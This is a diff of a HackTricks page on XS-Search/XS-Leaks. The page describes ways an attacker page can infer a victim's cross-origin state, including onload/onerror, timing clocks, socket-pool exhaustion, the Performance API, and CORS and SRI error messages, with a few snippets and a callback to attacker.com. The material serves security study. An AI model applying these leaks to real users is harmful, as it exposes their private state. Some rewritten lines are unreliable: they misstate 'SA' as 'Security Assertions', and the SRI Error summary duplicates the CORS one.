<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>

View file

@ -21,58 +21,51 @@ Other ways to support HackTricks:
</details>
## **Basic Information**
## Basic Information
XS-Search is a technique oriented to **exfiltrate cross-origin information** abusing **side channel attacks**.
XS-Search is a method used for **extracting cross-origin information** by leveraging **side channel vulnerabilities**.
There are different elements in this kind of attack:
Key components involved in this attack include:
* **Vulnerable Web**: Is the web from where we want to exfiltrate some info
* **Attacker's Web**: Is the web the attacker creates containing the exploit and that the victim access
* **Inclusion Method**: Is the method used to load the Vulnerable Web from the Attacker's web (like window.open, iframe, fetch, HTML tag with href...)
* **Leak Technique**: After accessing the vulnerable web, a technique will be used to differentiate between the potential status of the web with the information obtained from the inclusion method used.
* **States**: The 2 possible states the vulnerable web can have depending on the victim that we want to differentiate.
* **Detectable Differences**: This is the information the attacker has to try to decide the status of the vulenrable web
* **Vulnerable Web**: The target website from which information is intended to be extracted.
* **Attacker's Web**: The malicious website created by the attacker, which the victim visits, hosting the exploit.
* **Inclusion Method**: The technique employed to incorporate the Vulnerable Web into the Attacker's Web (e.g., window.open, iframe, fetch, HTML tag with href, etc.).
* **Leak Technique**: Techniques used to discern differences in the state of the Vulnerable Web based on information gathered through the inclusion method.
* **States**: The two potential conditions of the Vulnerable Web, which the attacker aims to distinguish.
* **Detectable Differences**: Observable variations that the attacker relies on to infer the state of the Vulnerable Web.
### Detectable Diferences
### Detectable Differences
In order to distinguish between the 2 states of the vulnerable page several things could be looked at:
Several aspects can be analyzed to differentiate the states of the Vulnerable Web:
* **Status Code**. An attacker can distinguish **different HTTP response status codes** cross-origin (e.g., server errors, client errors, or authentication errors).
* **API Usage**. This detectable difference allows an attacker to detect **Web APIs usage** across pages, allowing an attacker to infer whether a cross-origin page is using a specific JavaScript Web API.
* **Redirects**. It is possible to detect if a web application has **navigated the user to a different page**. This is not limited to HTTP redirects but also includes redirects triggered by JavaScript or HTML.
* **Page Content**. These detectable **differences appear in the HTTP response body** itself or in sub-resources included by the page. For example, this could be the **number of included frames** (cf. XS-Leak on Gitlab) or size differences of images.
* **HTTP Header**. An attacker can detect the presence of a **specific HTTP response header** and may be able to gather its value. This includes headers such as X-Frame-Options, Content-Disposition, and Cross-Origin-Resource-Policy.
* **Timing**: An attacker can detect that a consistent time difference exists between 2 states.
* **Status Code**: Distinguishing between **various HTTP response status codes** cross-origin, like server errors, client errors, or authentication errors.
* **API Usage**: Identifying **usage of Web APIs** across pages, revealing whether a cross-origin page employs a specific JavaScript Web API.
* **Redirects**: Detecting navigations to different pages, not just HTTP redirects but also those triggered by JavaScript or HTML.
* **Page Content**: Observing **variations in the HTTP response body** or in page sub-resources, such as the **number of embedded frames** or size disparities in images.
* **HTTP Header**: Noting the presence or possibly the value of a **specific HTTP response header**, including headers like X-Frame-Options, Content-Disposition, and Cross-Origin-Resource-Policy.
* **Timing**: Noticing consistent time disparities between the two states.
### Inclusion Methods
* **HTML Elements**. HTML offers a variety of elements that enable **cross-origin resource inclusion**. Elements like stylesheets, images, or scripts, force the victims browser to request a specified non-HTML resource. A list that enumerates possible HTML elements for this purpose is available online ([https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks)).
* **Frames**. Elements such as **iframe**, **object**, and **embed** may embed further HTML resources directly into the attacker page. If the page does **not use framing protection**, JavaScript code can access the framed resources window object via the contentWindow property.
* **Pop-ups**. The **`window.open`** method loads a resource in a new browser tab or window. The method returns a **window handle** that JavaScript code can use to access methods and properties, which comply with the SOP. These so-called pop-ups are often used in single sign-on. Modern browsers only allow pop-ups if they are triggered by certain user interactions. For XS-Leak attacks, this method is especially helpful because it **bypasses framing and cookie restrictions for a target resource**. Newer browser versions recently added means to isolate window handles.
* **JavaScript Requests**. JavaScript allows sending requests to target resources directly. There are two different ways for this purpose: **XMLHttpRequests** and its successor **Fetch** **API**. In contrast to previous inclusion methods, an attacker has fine-grained control over the issued request, for example, whether an HTTP redirect must be automatically followed.
* **HTML Elements**: HTML offers various elements for **cross-origin resource inclusion**, like stylesheets, images, or scripts, compelling the browser to request a non-HTML resource. A compilation of potential HTML elements for this purpose can be found at [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
* **Frames**: Elements such as **iframe**, **object**, and **embed** can embed HTML resources directly into the attacker's page. If the page **lacks framing protection**, JavaScript can access the framed resources window object via the contentWindow property.
* **Pop-ups**: The **`window.open`** method opens a resource in a new tab or window, providing a **window handle** for JavaScript to interact with methods and properties following the SOP. Pop-ups, often used in single sign-on, circumvent framing and cookie restrictions of a target resource. However, modern browsers restrict pop-up creation to certain user actions.
* **JavaScript Requests**: JavaScript permits direct requests to target resources using **XMLHttpRequests** or the **Fetch API**. These methods offer precise control over the request, like opting to follow HTTP redirects.
### Leak Techniques
* **Event Handler**. Event handler can be seen as the classical leak technique for XS-Leaks. They are a well-known source of various pieces of information. For example, the trigger of **onload** indicates a **successful** resource loading in contrast to the onerror event.
* **Error Messages**. Beyond event handlers, error messages can occur as **JavaScript exceptions** and **special error pages**. Error messages can be thrown in different steps, for example, directly by the leak technique. The leak technique can either use additional **information** directly **contained** in the **error message**, or distinguish between the **appearance and absence of an error message**.
* **Global Limits**. Every computer has its physical limits, so does a browser. For example, the amount of available memory limits a browsers running tabs. The same holds for other browser limits that are enforced for the entire browser. If an attacker can determine **when the limit is reached this can be used as a leak technique**.
* **Global State**. Browsers have **global states that all pages can interact with**. If this interaction is detectable from an attackers website, it can be used as a leak technique. For example, the **History** interface allows manipulation of the pages visited in a tab or frame. This creates a global state because the **number of entries** allows an attacker to draw conclusions about cross-origin pages.
* **Performance API**. The Performance API is used to access the **performance information of the current page**. Their entries include detailed network timing data for the document and every resource loaded by the page. This allows an attacker to draw **conclusions about requested resources**. For example, we identified cases where browsers will not create performance entries for some requests.
* **Readable Attributes**. HTML has several **attributes that are readable cross-origin**. This read access can be used as a leak technique. For example, JavaScript code can read the number of frames included in a webpage cross-origin with the window.frame.length property.
* **Event Handler**: A classical leak technique in XS-Leaks, where event handlers like **onload** and **onerror** provide insights about resource loading success or failure.
* **Error Messages**: JavaScript exceptions or special error pages can provide leak information either directly from the error message or by differentiating between its presence and absence.
* **Global Limits**: Physical limitations of a browser, like memory capacity or other enforced browser limits, can signal when a threshold is reached, serving as a leak technique.
* **Global State**: Detectable interactions with browsers' **global states** (e.g., the History interface) can be exploited. For instance, the **number of entries** in a browser's history can offer clues about cross-origin pages.
* **Performance API**: This API provides **performance details of the current page**, including network timing for the document and loaded resources, enabling inferences about requested resources.
* **Readable Attributes**: Some HTML attributes are **readable cross-origin** and can be used as a leak technique. For instance, the `window.frame.length` property allows JavaScript to count the frames included in a webpage cross-origin.
#### **Timing Based techniques**
## XSinator Tool & Paper
Some of the following techniques are going to use timing to as part of the process to detect differences in the possible states of the web pages. There are different ways to measure time in a web browser.
XSinator is an automatic tool to **check browsers against several know XS-Leaks** explained in its paper: **[https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)**
**Clocks**: The [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API allows developers to get high-resolution timing measurements.\
There are a considerable number of APIs attackers can abuse to create implicit clocks: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast\_Channel\_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS animations, and others.\
For more info: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).
## XSinator
XSinator is an automatic tool to **check browsers against several know XS-Leaks** explained in its paper: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)\
You can access the tool in [https://xsinator.com/](https://xsinator.com/)
You can **access the tool in [https://xsinator.com/](https://xsinator.com/)**
{% hint style="warning" %}
**Excluded XS-Leaks**: We had to exclude XS-Leaks that rely on **service workers** as they would interfere with other leaks in XSinator. Furthermore, we chose to **exclude XS-Leaks that rely on misconfiguration and bugs in a specific web application**. For example, CrossOrigin Resource Sharing (CORS) misconfigurations, postMessage leakage or Cross-Site Scripting. Additionally, we excluded timebased XS-Leaks since they often suffer from being slow, noisy and inaccurate.
@ -86,6 +79,14 @@ Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## **Timing Based techniques**
Some of the following techniques are going to use timing to as part of the process to detect differences in the possible states of the web pages. There are different ways to measure time in a web browser.
**Clocks**: The [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API allows developers to get high-resolution timing measurements.\
There are a considerable number of APIs attackers can abuse to create implicit clocks: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast\_Channel\_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS animations, and others.\
For more info: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).
## Event Handler Techniques
### Onload/Onerror
@ -117,7 +118,7 @@ In this case if `example.com/404` is not found `attacker.com/?error` will be loa
* **Inclusion Methods**: HTML Elements
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
* **Summary:** The \*\*\*\* [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** can be used to measure how much time it takes to perform a request. However, other clocks could be used, such as [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) which can identify tasks running for more than 50ms.
* **Summary:** The [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** can be used to measure how much time it takes to perform a request. However, other clocks could be used, such as [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) which can identify tasks running for more than 50ms.
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) another example in:
{% content-ref url="xs-search/performance.now-example.md" %}
@ -140,7 +141,7 @@ This technique is just like the previous one, but the **attacker** will also **f
* **Summary:** The [SharedArrayBuffer clock](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) can be used to measure how much time it takes to perform a request. Other clocks could be used.
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
The [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload\_event) and [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload\_event) events can be used to measure the time it takes to fetch a resource. This works because **`beforeunload`** is triggered when the browser **requests a new navigation** request, while **`unload`** is triggered when that **navigation actually occurs**. Because of this behaviour, it is possible to calculate the time difference between these two events and measure the **time it took the browser to complete fetching the resource**.
The time taken to fetch a resource can be measured by utilizing the [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) and [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event) events. The **`beforeunload`** event is fired when the browser is about to navigate to a new page, while the **`unload`** event occurs when the navigation is actually taking place. The time difference between these two events can be calculated to determine the **duration the browser spent fetching the resource**.
### Sandboxed Frame Timing + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
@ -150,7 +151,12 @@ The [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload\_e
* **Summary:** The [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API can be used to measure how much time it takes to perform a request. Other clocks could be used.
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
If a page doesnt have any [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/) implemented, an attacker can time how long it takes for the page and all subresources to load over the network. By default, the `onload` handler for an iframe is invoked after all the resources have been loaded and all JavaScript has finished executing. But, an attacker can eliminate the noise of script execution by including the [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) attribute in the `<iframe>`. This attribute blocks a lot of features including JavaScript execution, which results in almost pure network measurement.
It has been observed that in the absence of [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/), the time required for a page and its subresources to load over the network can be measured by an attacker. This measurement is typically possible because the `onload` handler of an iframe is triggered only after the completion of resource loading and JavaScript execution. To bypass the variability introduced by script execution, an attacker might employ the [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) attribute within the `<iframe>`. The inclusion of this attribute restricts numerous functionalities, notably the execution of JavaScript, thereby facilitating a measurement that is predominantly influenced by network performance.
```javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
```
### #ID + error + onload
@ -190,7 +196,7 @@ Then, you can **distinguish between** a **correctly** loaded page or page that h
* **Inclusion Methods**: HTML Elements
* **Detectable Difference**: Status Code & Headers
* **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
* **Summary**: Attackers can observe when CORB is enforced if a response returns a _CORB protected_ `Content-Type` (and `nosniff`) with the status code `2xx` which results in CORB stripping the body and headers from the response. Detecting this protection allows an attacker to **leak** the combination of both the **status code** (success vs. error) and the **`Content-Type` (protected by CORB or not).**
* **Summary**: **Cross-Origin Read Blocking (CORB)** is a security measure that prevents web pages from loading certain sensitive cross-origin resources to protect against attacks like **Spectre**. However, attackers can exploit its protective behavior. When a response subject to **CORB** returns a _**CORB protected**_ `Content-Type` with `nosniff` and a `2xx` status code, **CORB** strips the response's body and headers. Attackers observing this can infer the combination of the **status code** (indicating success or error) and the `Content-Type` (denoting whether it's protected by **CORB**), leading to potential information leakage.
* **Code Example:**
Check the more information link for more information about the attack.
@ -214,16 +220,21 @@ You can perform the same attack with **`portal`** tags.
* **Summary**: Gather sensitive information from a postMessage or use the presence of postMessages as an oracle to know the status of the user in the page
* **Code Example**: `Any code listening for all postMessages.`
Applications often use [postMessage broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) to share information with other origins. Listening to this messages one could find **sensitive info** (potentially if the the `targetOrigin` param is not used). Also, the fact of receiving some message can be **used as an oracle** (you only receive this kind of message if you are logged in).
Applications frequently utilize [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) to communicate across different origins. However, this method can inadvertently expose **sensitive information** if the `targetOrigin` parameter is not properly specified, allowing any window to receive the messages. Furthermore, the mere act of receiving a message can act as an **oracle**; for instance, certain messages might only be sent to users who are logged in. Therefore, the presence or absence of these messages can reveal information about the user's state or identity, such as whether they are authenticated or not.
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Global Limits Techniques
### WebSocket API
@ -262,8 +273,7 @@ Because **only one request payment can be active** at the same time, if the targ
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %}
JavaScripts concurrency model is based on a [single-threaded event loop](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) which means **it can only run one task at a time**.\
Inferring **how long code from a different origin takes to run** by measuring how long it t**akes to run next in the event pool**. The attacker keeps sending events to the event loop with fixed properties, which will eventually be dispatched if the pool is empty. Other origins dispatch events to the same pool, and this is where an **attacker infers the time difference by detecting if a delay occurred with one of its tasks**.
JavaScript operates on a [single-threaded event loop](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) concurrency model, signifying that **it can only execute one task at a time**. This characteristic can be exploited to gauge **how long code from a different origin takes to execute**. An attacker can measure the execution time of their own code in the event loop by continuously dispatching events with fixed properties. These events will be processed when the event pool is empty. If other origins are also dispatching events to the same pool, an **attacker can infer the time it takes for these external events to execute by observing delays in the execution of their own tasks**. This method of monitoring the event loop for delays can reveal the execution time of code from different origins, potentially exposing sensitive information.
{% hint style="warning" %}
In an execution timing it's possible to **eliminate** **network factors** to obtain **more precise measurements**. For example, by loading the resources used by the page before loading it.
@ -274,10 +284,10 @@ In an execution timing it's possible to **eliminate** **network factors** to obt
* **Inclusion Methods**:
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
* **Summary:** Measure execution time of a web locking the event loop of a thread and timing **how long it takes for the event loop to become available again**.
* **Summary:** One method to measure the execution time of a web operation involves intentionally blocking the event loop of a thread and then timing **how long it takes for the event loop to become available again**. By inserting a blocking operation (such as a long computation or a synchronous API call) into the event loop, and monitoring the time it takes for subsequent code to begin execution, one can infer the duration of the tasks that were executing in the event loop during the blocking period. This technique leverages the single-threaded nature of JavaScript's event loop, where tasks are executed sequentially, and can provide insights into the performance or behavior of other operations sharing the same thread.
* **Code Example**:
One of the main advantages of this technique is its ability to circumvent Site Isolation, as an attacker origin can influence the execution of another origin.
A significant advantage of the technique of measuring execution time by locking the event loop is its potential to circumvent **Site Isolation**. **Site Isolation** is a security feature that separates different websites into separate processes, aiming to prevent malicious sites from directly accessing sensitive data from other sites. However, by influencing the execution timing of another origin through the shared event loop, an attacker can indirectly extract information about that origin's activities. This method does not rely on direct access to the other origin's data but rather observes the impact of that origin's activities on the shared event loop, thus evading the protective barriers established by **Site Isolation**.
{% hint style="warning" %}
In an execution timing it's possible to **eliminate** **network factors** to obtain **more precise measurements**. For example, by loading the resources used by the page before loading it.
@ -295,12 +305,13 @@ In an execution timing it's possible to **eliminate** **network factors** to obt
[connection-pool-example.md](xs-search/connection-pool-example.md)
{% endcontent-ref %}
Browsers use sockets to communicate with servers. As the operating system and the hardware it runs on have limited resources, **browsers have to impose a limit**. To exploit the existence of this limit, attackers can:
Browsers utilize sockets for server communication, but due to the limited resources of the operating system and hardware, **browsers are compelled to impose a limit** on the number of concurrent sockets. Attackers can exploit this limitation through the following steps:
1. Ascertain the browser's socket limit, for instance, 256 global sockets.
2. Occupy 255 sockets for an extended duration by initiating 255 requests to various hosts, designed to keep the connections open without completing.
3. Employ the 256th socket to send a request to the target page.
4. Attempt a 257th request to a different host. Given that all sockets are in use (as per steps 2 and 3), this request will be queued until a socket becomes available. The delay before this request proceeds provides the attacker with timing information about the network activity related to the 256th socket (the target page's socket). This inference is possible because the 255 sockets from step 2 are still engaged, implying that any newly available socket must be the one released from step 3. The time taken for the 256th socket to become available is thus directly linked to the time required for the request to the target page to complete.
1. Check what the limit of the browser is, for example 256 global sockets.
2. Block 255 sockets for a long period of time by performing 255 requests to different hosts that simply hang the connection
3. Use the 256th socket by performing a request to the target page.
4. Perform a 257th request to another host. Since all the sockets are being used (in steps 2 and 3), this request must wait until the pool receives an available socket. This waiting period provides the attacker with the network timing of the 256th socket, which belongs to the target page. This works because the 255 sockets in step 2 are still blocked, so if the pool received an available socket, it was caused by the release of the socket in step 3. The time to release the 256th socket is directly connected with the time taken to complete the request.
For more info: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
@ -311,21 +322,13 @@ For more info: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
* **More info**:
* **Summary:** It's like the previous technique but instead of using all the sockets, Google **Chrome** puts a limit of **6 concurrent request to the same origin**. If we **block 5** and then **launch a 6th** request we can **time** it and if we managed to make the **victim page send** more **requests** to the same endpoint to detect a **status** of the **page**, the **6th request** will take **longer** and we can detect it.
##
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Performance API Techniques
The [`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) provides access to performance-related information enhanced by the data from the [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource\_Timing\_API) which provides the timings of network requests such as the duration but when theres a `Timing-Allow-Origin: *` header sent by the server the transfer size and domain lookup time is also provided.\
This data can be accessed by using [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) or [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) It can also be used to get the execution time using the difference of [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) however this seems to be less precise for a chrome fetch because it only provides the milliseconds.
The [`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) offers insights into the performance metrics of web applications, further enriched by the [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). The Resource Timing API enables the monitoring of detailed network request timings, such as the duration of the requests. Notably, when servers include the `Timing-Allow-Origin: *` header in their responses, additional data like the transfer size and domain lookup time becomes available.
This API can be used to measure the time of a request or to detect the use of X-Frame-Options as the blocked page won't be added to the `performance` object in Chrome.
This wealth of data can be retrieved via methods like [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) or [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), providing a comprehensive view of performance-related information. Additionally, the API facilitates the measurement of execution times by calculating the difference between timestamps obtained from [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). However, it's worth noting that for certain operations in browsers like Chrome, the precision of `performance.now()` may be limited to milliseconds, which could affect the granularity of timing measurements.
Beyond timing measurements, the Performance API can be leveraged for security-related insights. For instance, the presence or absence of pages in the `performance` object in Chrome can indicate the application of `X-Frame-Options`. Specifically, if a page is blocked from rendering in a frame due to `X-Frame-Options`, it will not be recorded in the `performance` object, providing a subtle clue about the page's framing policies.
### Error Leak
@ -372,10 +375,10 @@ An attacker can detect if a request resulted in an empty HTTP response body beca
* **Inclusion Methods**: Frames
* **Detectable Difference**: Page Content
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** Detect presence of specific elements in a webpage with the XSS-Auditor in SA.
* **Summary:** Using the XSS Auditor in Security Assertions, attackers can detect specific webpage elements by observing alterations in responses when crafted payloads trigger the auditor's filtering mechanism.
* **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
In SA, it is possible to detect if the XSSAuditor was triggered and thus leak sensitive information. The XSS-Auditor is a built-in feature of SA and GC (now removed) designed to mitigate Cross-Site Scripting (XSS) attacks. In 2013, Braun and Heiderich \[7] showed that the XSS-Auditor can be used to block benign scripts with false positives. Based on their technique, researchers exfiltrate information and detect specific content on a cross-origin page. These XS-Leaks were first described in a bug report by Terada and later in a blog post by Heyes . However, the discovered techniques applied only to the XSS-Auditor in GC and do not work in SA. We found that blocked pages will not create Performance API entries. That means an attacker can still leak sensitive information with the XSS-Auditor in SA.
In Security Assertions (SA), the XSS Auditor, originally intended to prevent Cross-Site Scripting (XSS) attacks, can paradoxically be exploited to leak sensitive information. Although this built-in feature was removed from Google Chrome (GC), it's still present in SA. In 2013, Braun and Heiderich demonstrated that the XSS Auditor could inadvertently block legitimate scripts, leading to false positives. Building on this, researchers developed techniques to extract information and detect specific content on cross-origin pages, a concept known as XS-Leaks, initially reported by Terada and elaborated by Heyes in a blog post. Although these techniques were specific to the XSS Auditor in GC, it was discovered that in SA, pages blocked by the XSS Auditor do not generate entries in the Performance API, revealing a method through which sensitive information might still be leaked.
### X-Frame Leak
@ -446,11 +449,10 @@ This could also be done with a Timing attack (check the paper for more info).
* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Timing
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
* **Summary:** Detect if a resource was stored in the cache.
* **Summary:** It is possible to check if a resource was stored in the cache.
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](https://xsinator.com/testing.html#Cache%20Leak%20\(POST\))
Using the [Performance API](xs-search.md#performance-api) it's possible to check if a resource is cached.\
For more info: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
Using the [Performance API](xs-search.md#performance-api) it's possible to check if a resource is cached.
### Network Duration
@ -467,7 +469,7 @@ For more info: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/
* **Inclusion Methods**: HTML Elements (Video, Audio)
* **Detectable Difference**: Status Code
* **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
* **Summary:** In FF, it is possible to accurately leak a cross-origin requests status code.
* **Summary:** In Firefox is possible to accurately leak a cross-origin requests status code.
* **Code Example**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
```javascript
@ -503,31 +505,27 @@ function startup() {
}
```
The message property of the **`MediaError`** interface contains a **different string for resources that loads successfully**. This allows an attacker to infer the response status for a cross-origin resource.
The `MediaError` interface's message property uniquely identifies resources that load successfully with a distinct string. An attacker can exploit this feature by observing the message content, thereby deducing the response status of a cross-origin resource.
### CORS Error
* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Header
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Summary:** In SA CORS error messages leak the full URL of redirects.
* **Summary:** In Security Assertions (SA), CORS error messages inadvertently expose the full URL of redirected requests.
* **Code Example**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
This technique allows an attacker to leak the target of a redirect that is initiated by a cross-origin site.
CORS allows publicly accessible web resources to be read and used from any website. In Webkit-based browsers, it is possible to **access CORS error messages when a CORS request fails**. An attacker can send a CORS-enabled request to a target website which **redirects** based on the user state. When the browser denies the request, the **full URL of the redirect target is leaked** in the error message. With this attack, it is possible to detect redirects, leak redirect locations, and sensitive query parameters.
This technique enables an attacker to **extract the destination of a cross-origin site's redirect** by exploiting how Webkit-based browsers handle CORS requests. Specifically, when a **CORS-enabled request** is sent to a target site that issues a redirect based on user state and the browser subsequently denies the request, the **full URL of the redirect's target** is disclosed within the error message. This vulnerability not only reveals the fact of the redirect but also exposes the redirect's endpoint and any **sensitive query parameters** it may contain.
### SRI Error
* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Header
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Summary:** In SA CORS error messages leak the full URL of redirects.
* **Summary:** In Security Assertions (SA), CORS error messages inadvertently expose the full URL of redirected requests.
* **Code Example**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
An attacker can leak the size of cross-origin responses due to **verbose error messages**.
The integrity attribute defines a cryptographic hash by which the browser can verify that a fetched resource has not been manipulated. This security mechanism is called Subresource Integrity (SRI). It is used for integrity verification of resources served from content delivery networks (CDNs). To prevent data leaks, cross-origin resources must be **CORS-enabled**. Otherwise, the response is not eligible for integrity validation. Similar to the CORS error XS-Leak, it is possible to catch the **error message after a fetch request with an integrity attribute fails**. An attacker can forcefully **trigger** this **error** on any request by specifying a **bogus hash value**. In SA, this error message leaks the content length of the requested resource. An attacker can use this leak to detect differences in response size, which enables powerful XS-Leak attacks.
An attacker can exploit **verbose error messages** to deduce the size of cross-origin responses. This is possible due to the mechanism of Subresource Integrity (SRI), which uses the integrity attribute to validate that resources fetched, often from CDNs, haven't been tampered with. For SRI to work on cross-origin resources, these must be **CORS-enabled**; otherwise, they're not subject to integrity checks. In Security Assertions (SA), much like the CORS error XS-Leak, an error message can be captured after a fetch request with an integrity attribute fails. Attackers can deliberately **trigger this error** by assigning a **bogus hash value** to the integrity attribute of any request. In SA, the resulting error message inadvertently reveals the content length of the requested resource. This information leakage allows an attacker to discern variations in response size, paving the way for sophisticated XS-Leak attacks.
### CSP Violation/Detection
@ -557,19 +555,17 @@ If a page loads an image only if the user is logged in, you can **invalidate** t
* **Inclusion Methods**: Frames
* **Detectable Difference**: Header
* **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
